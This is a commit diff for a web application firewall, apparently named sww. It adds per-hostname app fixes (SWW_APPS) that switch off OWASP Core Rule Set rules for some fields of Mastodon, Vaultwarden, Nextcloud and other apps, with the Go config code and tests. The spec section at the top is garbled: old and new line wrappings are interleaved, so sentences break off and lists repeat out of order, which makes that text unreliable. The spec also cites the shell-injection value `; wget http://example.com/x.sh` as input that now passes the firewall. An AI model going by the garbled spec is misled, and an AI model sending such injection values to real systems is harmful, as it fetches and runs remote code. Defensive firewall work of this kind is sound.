- `account_migration[current_password]`,
`form_redirect[current_password]` and
`form_delete_confirmation[password]`, for moving or deleting an
- `account_migration[current_password]`, `form_redirect[current_password]`
and `form_delete_confirmation[password]`, for moving or deleting an
account.
- On `/api/v1/accounts`, signing up through the API, `password` and
`reason`, in form data or JSON.
- On `/inbox`, `/users/<name>/inbox` and `/ap/users/<id>/inbox`, the fields
of the object another server delivers in JSON:
- On `/api/v1/accounts`, signing up through the API, `password` and `reason`, in
form data or JSON.
- On `/inbox`, `/users/<name>/inbox` and `/ap/users/<id>/inbox`, the fields of
the object another server delivers in JSON:
- `content` and `contentMap`, a post;
- `summary` and `summaryMap`, a content warning or a profile's text;
- `name`, a profile's name;
- the names and values of `attachment`, a picture's description or a
profile's fields;
- the names of `oneOf` and `anyOf`, a poll's options.
- A post's text, `status` in form data or JSON on `/api/v1/statuses` and the
- A post's text, `status` in form data or JSON on `/api/v1/statuses` and the
paths under it. It skips 932125, 932230 and 932235 too, so a post can show
commands in code. A shell command such as `; wget http://example.com/x.sh`
reaches Mastodon there.
Two fields of a body skip only 932120 and 932260. A hashtag or a username
holds only letters, digits and underscores, so the other two rules do not
misfire there:
- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features
on a profile;
- `user[account_attributes][username]` on `/auth`, the sign-up form's
username.
Two fields of a body skip only 932120 and 932260. A hashtag or a username holds
only letters, digits and underscores, so the other two rules do not misfire
there:
`user[email]` on `/auth` and the paths under it skips 930120, 932120
and 932260. The sign-up, sign-in, password reset and account settings forms
send an email address there, such as `python3@example.com`. An address holds
no spaces, so it keeps 932250.
- `name` in JSON on `/api/v1/featured_tags`, a hashtag the web app features on a
profile;
- `user[account_attributes][username]` on `/auth`, the sign-up form's username.
On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip
930120 by their names. A report forwarded to another server lists that
server in `forward_to_domains`. In the Core Rule Set the keys are named:
- `json.forward`;
- `json.forward_to_domains`;
- `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one
per server.
`user[email]` on `/auth` and the paths under it skips 930120, 932120 and 932260.
The sign-up, sign-in, password reset and account settings forms send an email
address there, such as `python3@example.com`. An address holds no spaces, so it
keeps 932250.
Each name contains `.forward`, a file in a home folder. So 930120 refused
every report the web app sent. The keys' values keep every rule.
On `/api/v1/reports`, the JSON keys `forward` and `forward_to_domains` skip
930120 by their names. A report forwarded to another server lists that server in
`forward_to_domains`. In the Core Rule Set the keys are named:
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
- `json.forward`;
- `json.forward_to_domains`;
- `json.forward_to_domains.0`, `json.forward_to_domains.1` and so on, one per
server.
The names of uploaded files skip 932180 on these paths:
- `/api/v1/media` and `/api/v2/media`;
- `/api/v1/accounts/update_credentials` and `/api/v1/profile`.
Each name contains `.forward`, a file in a home folder. So 930120 refused every
report the web app sent. The keys' values keep every rule.
So a picture named `Example .htaccess.png` can be posted. Mastodon refuses a
file of a type it does not allow.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
The `Accept` header skips 920600 on links to profiles and posts, such as
`/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on
the paths under `/users/` and `/ap/users/` too. When someone on another
server looks up such a link, that server fetches it with this header:
`Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`.
It sends the same header to the account or post the link leads to.
The names of uploaded files skip 932180 on these paths:
Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own
resources under them count as Mastodon's paths. Elsewhere these fields keep
every rule. An app other than Mastodon that serves one of these paths must
check these fields itself.
- `/api/v1/media` and `/api/v2/media`;
- `/api/v1/accounts/update_credentials` and `/api/v1/profile`.
13. On Vaultwarden's paths, some fields skip the rules that refused ordinary
Vaultwarden requests there. `internal/coreruleset/vaultwarden.conf` lists
each rule and the request it refused. The apps encrypt vault items, folders,
collections and sends before sending them, so those fields skip no rules.
The fields below hold plain text.
So a picture named `Example .htaccess.png` can be posted. Mastodon refuses a
file of a type it does not allow.
Names and password hints skip the lists of system files and command names
(930120, 932120, 932250, 932260):
- `name`, the name of the account, an organization, a group or a security
key;
- `masterPasswordHint`, when signing up or changing the master password;
- `invitation_org_name` and `smtp_from_name`, on the admin page's settings.
The `Accept` header skips 920600 on links to profiles and posts, such as
`/@admin` and `/@admin/117589811962372311`. It skips it on `/actor` and on the
paths under `/users/` and `/ap/users/` too. When someone on another server looks
up such a link, that server fetches it with this header:
`Accept: application/ld+json; profile="https://www.w3.org/ns/activitystreams", application/activity+json, text/html;q=0.1`.
It sends the same header to the account or post the link leads to.
These fields hold email addresses and skip 930120, 932120 and 932260:
- `username`, when signing in at `/identity/connect/token`;
- `email`, `newEmail`, `billingEmail` and the invited `emails`;
- the salt fields, such as `masterPasswordUnlock.salt`, which hold the
address;
- `accountUnlockData.masterPasswordUnlockData.email`, when rotating the
Gitea serves `/api/v1/` and Drupal serves `/admin/`. So only Mastodon's own
resources under them count as Mastodon's paths. Elsewhere these fields keep
every rule.
Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
refused ordinary Vaultwarden requests there.
`internal/coreruleset/vaultwarden.conf` lists each rule and the request it
refused. The apps encrypt vault items, folders, collections and sends before
sending them, so those fields skip no rules. The fields below hold plain text.
Names and password hints skip the lists of system files and command names
(930120, 932120, 932250, 932260):
- `name`, the name of the account, an organization, a group or a security key;
- `masterPasswordHint`, when signing up or changing the master password;
- `invitation_org_name` and `smtp_from_name`, on the admin page's settings.
These fields hold email addresses and skip 930120, 932120 and 932260:
- `username`, when signing in at `/identity/connect/token`;
- `email`, `newEmail`, `billingEmail` and the invited `emails`;
- the salt fields, such as `masterPasswordUnlock.salt`, which hold the address;
- `accountUnlockData.masterPasswordUnlockData.email`, when rotating the
account's encryption key;
- `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's
- `smtp_from`, `smtp_username` and `org_creation_users`, on the admin page's
settings.
So `python3@example.com` and `powershell@example.com` pass.
So `python3@example.com` and `powershell@example.com` pass.
These fields skip the rules on these paths:
- the paths under `/identity/accounts/`;
- `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and
the paths under them;
- `/admin/config`.
These fields skip the rules on these paths:
Names and password hints skip them on `/api/two-factor/webauthn` too, where
a security key gets its name.
- the paths under `/identity/accounts/`;
- `/api/accounts/`, `/api/emergency-access/` and `/api/organizations`, and the
paths under them;
- `/admin/config`.
The addresses skip them on these paths too:
- `/identity/connect/token` and `/admin/invite`;
- `/admin/test/smtp`, where the admin page sends a test email;
- the paths under `/api/two-factor/`, where sign-in codes by email are set
up and sent;
- `/api/auth-requests` and the paths under it, for signing in with another
Names and password hints skip them on `/api/two-factor/webauthn` too, where a
security key gets its name.
The addresses skip them on these paths too:
- `/identity/connect/token` and `/admin/invite`;
- `/admin/test/smtp`, where the admin page sends a test email;
- the paths under `/api/two-factor/`, where sign-in codes by email are set up
and sent;
- `/api/auth-requests` and the paths under it, for signing in with another
device.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies when the query has a parameter of the same name.
`username` in the query of `/api/hibp/breach`, the data breach report, skips
930120, 932120 and 932260 too.
`username` in the query of `/api/hibp/breach`, the data breach report, skips
930120, 932120 and 932260 too.
The names of uploaded files skip 920120 on the paths that take attachments
and file sends:
- `/api/ciphers/<id>/attachment` and the paths under it;
- `/api/ciphers/<id>/attachment-admin`;
- `/api/sends/<id>/file/<file id>`.
The names of uploaded files skip 920120 on the paths that take attachments and
file sends:
The apps name such a file by its encrypted name, which holds `=`. Path
traversal and PHP scripts in the names are still refused.
- `/api/ciphers/<id>/attachment` and the paths under it;
- `/api/ciphers/<id>/attachment-admin`;
- `/api/sends/<id>/file/<file id>`.
Elsewhere these fields keep every rule. An app other than Vaultwarden that
serves one of these paths must check these fields itself.
The apps name such a file by its encrypted name, which holds `=`. Path traversal
and PHP scripts in the names are still refused.
14. On Nextcloud's paths, some fields skip the rules that refused ordinary
Nextcloud requests there, and its WebDAV methods are allowed.
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
refused.
Elsewhere these fields keep every rule.
The sync client and the Files app use WebDAV on these paths:
- `/remote.php/dav/`;
- `/public.php/dav/`;
- `/remote.php/webdav/`;
- `/public.php/webdav/`.
Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that refused
ordinary Nextcloud requests there, and its WebDAV methods are allowed.
`internal/coreruleset/nextcloud.conf` lists each rule and the request it
refused.
These methods are allowed there, besides those of the first change:
- `PROPFIND` and `PROPPATCH`;
- `MKCOL`;
- `COPY` and `MOVE`;
- `REPORT` and `SEARCH`;
- `LOCK` and `UNLOCK`, with which the desktop client locks a file.
The sync client and the Files app use WebDAV on these paths:
A file the Files app or the sync client uploads with `PUT` to these paths is
a file, not form data. The Core Rule Set does not read the body of a `PUT`
there. So a JSON file holding `python3 -m pytest` uploads, and so does an
XML file holding `ls -la /var/log`. The headers, path and query of the `PUT`
are still checked.
- `/remote.php/dav/`;
- `/public.php/dav/`;
- `/remote.php/webdav/`;
- `/public.php/webdav/`.
The cookie `nc_username` holds the name of the account signed in. It skips
the lists of system files and command names (930120, 932120, 932250, 932260)
on every path, since every request sends it.
These methods are allowed there, besides those of the first change:
These fields skip the same four rules, in the query or the body:
- On `/login`, for signing in:
- `PROPFIND` and `PROPPATCH`;
- `MKCOL`;
- `COPY` and `MOVE`;
- `REPORT` and `SEARCH`;
- `LOCK` and `UNLOCK`, with which the desktop client locks a file.
A file the Files app or the sync client uploads with `PUT` to these paths is a
file, not form data. The Core Rule Set does not read the body of a `PUT` there.
So a JSON file holding `python3 -m pytest` uploads, and so does an XML file
holding `ls -la /var/log`. The headers, path and query of the `PUT` are still
checked.
The cookie `nc_username` holds the name of the account signed in. It skips the
lists of system files and command names (930120, 932120, 932250, 932260) on
every path, since every request sends it.
These fields skip the same four rules, in the query or the body:
- On `/login`, for signing in:
- `user` and `password`;
- `redirect_url`, the page to go to after signing in.
- `dir`, the folder shown, on the paths under `/apps/files/`.
- The file names on a public share:
- `dir`, the folder shown, on the paths under `/apps/files/`.
- The file names on a public share:
- `file` on the paths under `/apps/files_sharing/publicpreview/`;
- `path` and `files` on `/s/<token>/download`.
- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
- On the OCS API, the paths under `/ocs/v1.php/` and `/ocs/v2.php/`:
- the searches `search` and `term`, and `from`, the page searched from;
- the names `groupid`, `userid`, `displayName` and `groups[]`;
- `value`, a new value of an account's details;
- `path`, `label` and `shareWith`, for a share.
These fields of a JSON body skip the same four rules:
- On the OCS API, each field of the list above.
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in
the theming settings.
- `filePath` on `/apps/text/session/<id>/save`, the document the editor
saves.
- `name` on `/remote.php/dav/systemtags/`, a new tag.
These fields of a JSON body skip the same four rules:
Some fields hold sentences a person writes:
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS
API and on each share under it;
- `message`, an account's status, on
- On the OCS API, each field of the list above.
- `value` on `/apps/theming/ajax/updateStylesheet`, the name and slogan in the
theming settings.
- `filePath` on `/apps/text/session/<id>/save`, the document the editor saves.
- `name` on `/remote.php/dav/systemtags/`, a new tag.
Some fields hold sentences a person writes:
- `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS API
and on each share under it;
- `message`, an account's status, on
`apps/user_status/api/v1/user_status/message/custom` of the OCS API;
- `message` in the JSON body that posts a comment to
- `message` in the JSON body that posts a comment to
`/remote.php/dav/comments/files/<id>`;
- the XML body of a `PROPPATCH` that edits a comment;
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of a
document.
- the XML body of a `PROPPATCH` that edits a comment;
- `autosaveContent` on `/apps/text/session/<id>/save`, the text of a document.
These fields skip the same four rules. They also skip the rules that refused
ordinary sentences there, such as `It is fixed; diff attached` (932125,
932230, 932235, 932380). A share's note and a status skip them in the query
or the body. A document's text skips two more, which refused a shell script
in a code block (932160, 932370). So a shell command such as
`; wget http://example.com/x.sh` reaches Nextcloud in these fields. SQL
injection, path traversal and script injection are still refused there.
These fields skip the same four rules. They also skip the rules that refused
ordinary sentences there, such as `It is fixed; diff attached` (932125, 932230,
932235, 932380). A share's note and a status skip them in the query or the body.
A document's text skips two more, which refused a shell script in a code block
(932160, 932370). So a shell command such as `; wget http://example.com/x.sh`
reaches Nextcloud in these fields. SQL injection, path traversal and script
injection are still refused there.
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search,
skips the four rules.
The XML body of a `SEARCH` on `/remote.php/dav/`, the Files app's search, skips
the four rules.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies to a JSON field when the query has a parameter of that name, such as
`json.message`. Nextcloud's pages are matched at the site root and under
`/index.php/`. Elsewhere these fields keep every rule. An app other than
Nextcloud that serves one of these paths must check these fields itself.
These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None
applies to a JSON field when the query has a parameter of that name, such as
`json.message`. Nextcloud's pages are matched at the site root and under
`/index.php/`. Elsewhere these fields keep every rule.
The parameter and cookie names in these changes are matched without regard to
case, as Coraza matches them.
Each app's fixes switch rules off for some of its fields and cookies. Any other
app on a hostname that gets those fixes must check those fields and cookies
itself.
The parameter names in these changes and fixes, and Nextcloud's cookie
`nc_username`, are matched without regard to case. gitea's two cookies are
matched exactly.
### Ban lengths, response and scope
docs/settings.md
+25
View File
@@ -255,6 +255,31 @@ the request first.
a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form.
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
fixes of its hostname's apps only (see "Attack detection" in
[`SPEC.md`](../SPEC.md)).
- Entries are separated by semicolons. Each is a hostname, a colon, then one
or more apps separated by commas, for example
`git.example.com:gitea;blog.example.com:wordpress`.
- The supported apps are:
- `drupal`;
- `gitea`;
- `mastodon`;
- `mediawiki`;
- `nextcloud`;
- `vaultwarden`;
- `wordpress`.
- The request's `Host` is matched by exact name, without its port and
without regard to case. There are no wildcards.
- A hostname not listed gets no app's fixes, so every rule checks it in
full. Set empty, `SWW_APPS` lists no hostname.
- Unset, every app's fixes apply to every hostname.
- Any of these mistakes stops the start:
- an unknown app;
- a hostname that is not a DNS name, such as `*.example.com`;
- a hostname listed twice;
- an app listed twice for one hostname;
- an entry without a colon.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
internal/config/config.go
+92 -1
View File
@@ -29,6 +29,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/anomaly"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
"sneak.berlin/go/smallwebwaf/internal/remotelog"
)
@@ -235,6 +236,11 @@ type Config struct {
WAFExemptPaths []string
WAFBodyLimit int64
CoreRuleSetExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS): a request gets only its hostname's apps' fixes
// to the Core Rule Set. Apps is nil while SWW_APPS is unset, and every
// request gets every app's fixes.
Apps map[string][]string
// TrapPaths are the paths a request for which is a clear sign of
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
TrapPaths []string
@@ -404,6 +410,11 @@ var (
errNotTrapPath = errors.New(
"is not a path starting with / and without a ?, such as /wp-login.php",
)
errNotAppsEntry = errors.New(
"is not a hostname, : and a list of apps, such as git.example.com:gitea",
)
errNotHostname = errors.New("is not a DNS name such as git.example.com")
errNotApp = errors.New("is not an app sww has fixes for; the apps are")
errNotWAFMode = errors.New("is not off, detect or block")
errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
errNotRuleID = errors.New(
@@ -577,6 +588,7 @@ func FromEnvironment(
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
CoreRuleSetExclusionsFile: env.filePath(
"SWW_CORE_RULE_SET_EXCLUSIONS_FILE"),
Apps: env.apps("SWW_APPS"),
TrapPaths: env.trapPaths("SWW_TRAP_PATHS"),
ErrorBurstThreshold: env.count("SWW_ERROR_BURST_THRESHOLD", "30"),
LogRemoteURL: env.logRemoteURL("SWW_LOG_REMOTE_URL"),
@@ -832,6 +844,25 @@ func (e *environment) pathPrefixes(name, defaultValue string) []string {
return prefixes
}
// apps reads the setting that is the apps each hostname serves. It is nil
// while the setting is unset, and logged as null, unlike a setting set
// empty.
func (e *environment) apps(name string) map[string][]string {
value, set := e.lookup(name)
if !set {
e.settings = append(e.settings, slog.Any(name, nil))
return nil
}
e.settings = append(e.settings, slog.String(name, value))
apps, err := parseApps(value)
e.check(name, err)
return apps
}
// trapPaths reads the setting that is the list of trap paths. It is empty
// by default.
func (e *environment) trapPaths(name string) []string {
@@ -1849,6 +1880,65 @@ func parseTrapPaths(value string) ([]string, error) {
return paths, nil
}
// parseApps reads the apps each hostname serves: entries separated by
// semicolons, each a hostname, a colon, and a comma-separated list of the
// names coreruleset.AppNames returns, such as
// git.example.com:gitea;cloud.example.com:nextcloud,wordpress. Each
// hostname is a DNS name, without a wildcard. It returns them by hostname
// in lowercase, since a hostname is matched without regard to case. An
// empty value lists no hostname.
func parseApps(value string) (map[string][]string, error) {
apps := map[string][]string{}
if strings.TrimSpace(value) == "" {
return apps, nil
}
for entry := range strings.SplitSeq(value, ";") {
hostname, list, found := strings.Cut(entry, ":")
if !found {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
hostname = strings.ToLower(strings.TrimSpace(hostname))
if hostname == "" {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
if !isZone(hostname) {
return nil, fmt.Errorf("%q %w", hostname, errNotHostname)
}
if _, listed := apps[hostname]; listed {
return nil, fmt.Errorf("%q %w", hostname, errListedTwice)
}
names, err := parseList(list)
if err != nil {
return nil, err
}
if len(names) == 0 {
return nil, fmt.Errorf("%q %w", entry, errNotAppsEntry)
}
for i, name := range names {
if !slices.Contains(coreruleset.AppNames(), name) {
return nil, fmt.Errorf("%q %w %s", name, errNotApp,
strings.Join(coreruleset.AppNames(), ", "))
}
if slices.Contains(names[:i], name) {
return nil, fmt.Errorf("%q %w", name, errListedTwice)
}
}
apps[hostname] = names
}
return apps, nil
}
// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
// rules, each a whole number above zero and outside firstSetupRuleID to
// lastSetupRuleID.
@@ -2455,7 +2545,8 @@ func MaskZoneKey(zone string) string {
return masked + "." + rest
}
// isZone reports whether each label of zone is as parseZones takes it.
// isZone reports whether each label of zone is as parseZones takes it. It
// also checks the hostnames of SWW_APPS, which are DNS names too.
func isZone(zone string) bool {
for label := range strings.SplitSeq(zone, ".") {
badChar := strings.ContainsFunc(label, func(char rune) bool {
internal/config/config_test.go
+97
View File
@@ -89,6 +89,7 @@ const (
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
exclusionsFile = "SWW_CORE_RULE_SET_EXCLUSIONS_FILE"
apps = "SWW_APPS"
trapPaths = "SWW_TRAP_PATHS"
errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
logRemoteURL = "SWW_LOG_REMOTE_URL"
@@ -582,6 +583,101 @@ func TestCoreRuleSetSettings(t *testing.T) {
}
}
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
func TestApps(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want map[string][]string
}{
{environment{}, nil},
{environment{apps: ""}, map[string][]string{}},
{
environment{apps: "Git.Example.com:gitea; cloud.example.com : gitea "},
map[string][]string{
"git.example.com": {gitea}, "cloud.example.com": {gitea},
},
},
{
environment{apps: "cloud.example.com:gitea,wordpress"},
map[string][]string{"cloud.example.com": {gitea, "wordpress"}},
},
} {
cfg := fromEnvironment(t, tc.env)
if !reflect.DeepEqual(cfg.Apps, tc.want) {
t.Errorf("%v gave %#v, want %#v", tc.env, cfg.Apps, tc.want)
}
}
}
// Unset and set empty, SWW_APPS has opposite effects, so it logs differently.
func TestUnsetAndEmptyAppsAreLoggedDifferently(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want string
}{
{environment{}, `"` + apps + `":null`},
{environment{apps: ""}, `"` + apps + `":""`},
} {
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).
Info("starting", "settings", fromEnvironment(t, tc.env))
if !strings.Contains(out.String(), tc.want) {
t.Errorf("%v logged %s, want %s in it", tc.env, out.String(), tc.want)
}
}
}
func TestInvalidAppsStopsTheStart(t *testing.T) {
t.Parallel()
const (
notEntry = " is not a hostname, : and a list of apps, " +
"such as git.example.com:gitea"
notHostname = " is not a DNS name such as git.example.com"
)
for _, tc := range []struct{ value, want string }{
{"git.example.com:gitea;blog.example.com", `"blog.example.com"` + notEntry},
{"git.example.com:gitea;", `""` + notEntry},
{":gitea", `":gitea"` + notEntry},
{"git.example.com:", `"git.example.com:"` + notEntry},
{"*.example.com:gitea", `"*.example.com"` + notHostname},
{"git.example.com/:gitea", `"git.example.com/"` + notHostname},
{"git example.com:gitea", `"git example.com"` + notHostname},
{
"git.example.com:gitea,jellyfin",
`"jellyfin" is not an app sww has fixes for; ` +
`the apps are drupal, gitea, mastodon, mediawiki, nextcloud, ` +
`vaultwarden, wordpress`,
},
{
"git.example.com:gitea;GIT.example.com:gitea",
`"git.example.com" is listed twice`,
},
{"git.example.com:gitea,gitea", `"gitea" is listed twice`},
{"git.example.com:gitea,", `"gitea," has an empty item in its list`},
} {
t.Run(tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{apps: tc.value}.lookupEnv)
want := apps + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestWAFBodyLimitOf64K(t *testing.T) {
t.Parallel()
@@ -2589,6 +2685,7 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
wafExemptPaths: "",
wafBodyLimit: off,
exclusionsFile: "",
apps: "", // logged as null, which decodes as ""
trapPaths: "",
errorBurstThreshold: "30",
logRemoteURL: "",
internal/coreruleset/coreruleset.go
+115 -110
View File
@@ -1,9 +1,9 @@
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWW_WAF_BODY_LIMIT is set, with the fourteen changes sww
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
// response.
// body while SWW_WAF_BODY_LIMIT is set, with the six changes sww
// makes to it, the fixes for the apps SWW_APPS names, and the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as "Attack detection" under "Settings"
// in SPEC.md describes them. It reads no response.
//
// sww writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
@@ -16,6 +16,8 @@ import (
"errors"
"fmt"
"io"
"maps"
"net"
"net/http"
"net/netip"
"os"
@@ -32,11 +34,8 @@ import (
// directives are the Core Rule Set as sww runs it, with the
// paranoia level for %d, bodyDirectives for the first %s while
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
// giteaExclusions for the third, wordpressExclusions for the fourth,
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
// and nextcloudExclusions for the ninth.
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second, and the
// directives of every app in apps for the third.
// Each rule sww adds has an id from 900000 to 900999, the ids the
// Core Rule Set keeps for the rules that set it up, which
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
@@ -84,62 +83,28 @@ SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
# before the rules of phase 1 too.
%s
# The eighth change comes before the rules for the same reason.
# The apps' fixes come before the rules for the same reason.
%s
# The ninth change comes before the rules for the same reason.
%s
# So does the tenth.
%s
# So does the eleventh.
%s
# So does the twelfth.
%s
# So does the thirteenth.
%s
# And the fourteenth.
%s
# The sixth: only the rules for requests are loaded, and no response is
# The fifth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
# localhost. Coraza matches a parameter name here without regard to case.
# ARGS holds the fields of a form data or multipart body Coraza reads as
# well as the query parameters, so a field of this name is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, for Java starting a process, or for a Java class name. 944130
# refused every page opened from the page of java.lang.String.md. The
# cookies are left out in Inspect.
# The fourth: Referer is not checked for a Unix command without arguments,
# for Java starting a process, or for a Java class name. 944130 refused
# every page opened from the page of java.lang.String.md.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944130 "!REQUEST_HEADERS:Referer"
# The seventh: a container image push that reuses a layer names the image
# The sixth: a container image push that reuses a layer names the image
# it takes the layer from in the query parameter from, which is not
# checked for command names. 932260 refused the push of a layer from
# owner/python3-app.
@@ -189,61 +154,61 @@ SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// giteaExclusions are the eighth change: the fields of gitea's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
// app is an app whose ordinary requests the Core Rule Set would refuse,
// with the fixes that let them pass.
type app struct {
// directives are Coraza exclusions, loaded before the Core Rule Set's
// rules. Their first rule skips to the marker they end with, unless
// Inspect sets the transaction variable named for the app, such as
// app_gitea. The skip reaches only phase 1, so a rule of a later phase
// must check that variable itself.
directives string
// cookies are the cookies the Core Rule Set reads a request without.
cookies []string
}
//go:embed gitea.conf
var giteaExclusions string
var giteaDirectives string
// wordpressExclusions are the ninth change: the fields of WordPress's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed wordpress.conf
var wordpressExclusions string
var wordpressDirectives string
// drupalExclusions are the tenth change: the fields of Drupal's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed drupal.conf
var drupalExclusions string
var drupalDirectives string
// mediawikiExclusions are the eleventh change: the fields of MediaWiki's
// own requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mediawiki.conf
var mediawikiExclusions string
var mediawikiDirectives string
// mastodonExclusions are the twelfth change: the fields of Mastodon's own
// requests that skip the rules that refused them there, as Coraza
// directives.
//
//go:embed mastodon.conf
var mastodonExclusions string
var mastodonDirectives string
// vaultwardenExclusions are the thirteenth change: the fields of
// Vaultwarden's own requests that skip the rules that refused them there, as
// Coraza directives.
//
//go:embed vaultwarden.conf
var vaultwardenExclusions string
var vaultwardenDirectives string
// nextcloudExclusions are the fourteenth change: the fields of Nextcloud's
// own requests that skip the rules that refused them there, the WebDAV
// methods it uses, its cookie of the account's name, and its uploads,
// whose bodies are not read, as Coraza directives.
//
//go:embed nextcloud.conf
var nextcloudExclusions string
var nextcloudDirectives string
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
// apps are the apps whose fixes sww has, by the name SWW_APPS gives each.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
//nolint:gochecknoglobals // a constant cannot be a map
var apps = map[string]app{
"drupal": {directives: drupalDirectives},
"gitea": {
directives: giteaDirectives,
cookies: []string{"gitea_flash", "redirect_to"},
},
"mastodon": {directives: mastodonDirectives},
"mediawiki": {directives: mediawikiDirectives},
"nextcloud": {directives: nextcloudDirectives},
"vaultwarden": {directives: vaultwardenDirectives},
"wordpress": {directives: wordpressDirectives},
}
// AppNames returns the names of the apps whose fixes sww has, in
// alphabetical order.
func AppNames() []string {
return slices.Sorted(maps.Keys(apps))
}
// Params are what New needs.
type Params struct {
@@ -259,6 +224,10 @@ type Params struct {
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
// there is none.
ExclusionsFile string
// Apps are the names of the apps each hostname serves, by hostname in
// lowercase (SWW_APPS). A request gets the fixes of its hostname's
// apps only, or of every app while Apps is nil.
Apps map[string][]string
}
// The ids of sww's own rules, which an exclusions file may not
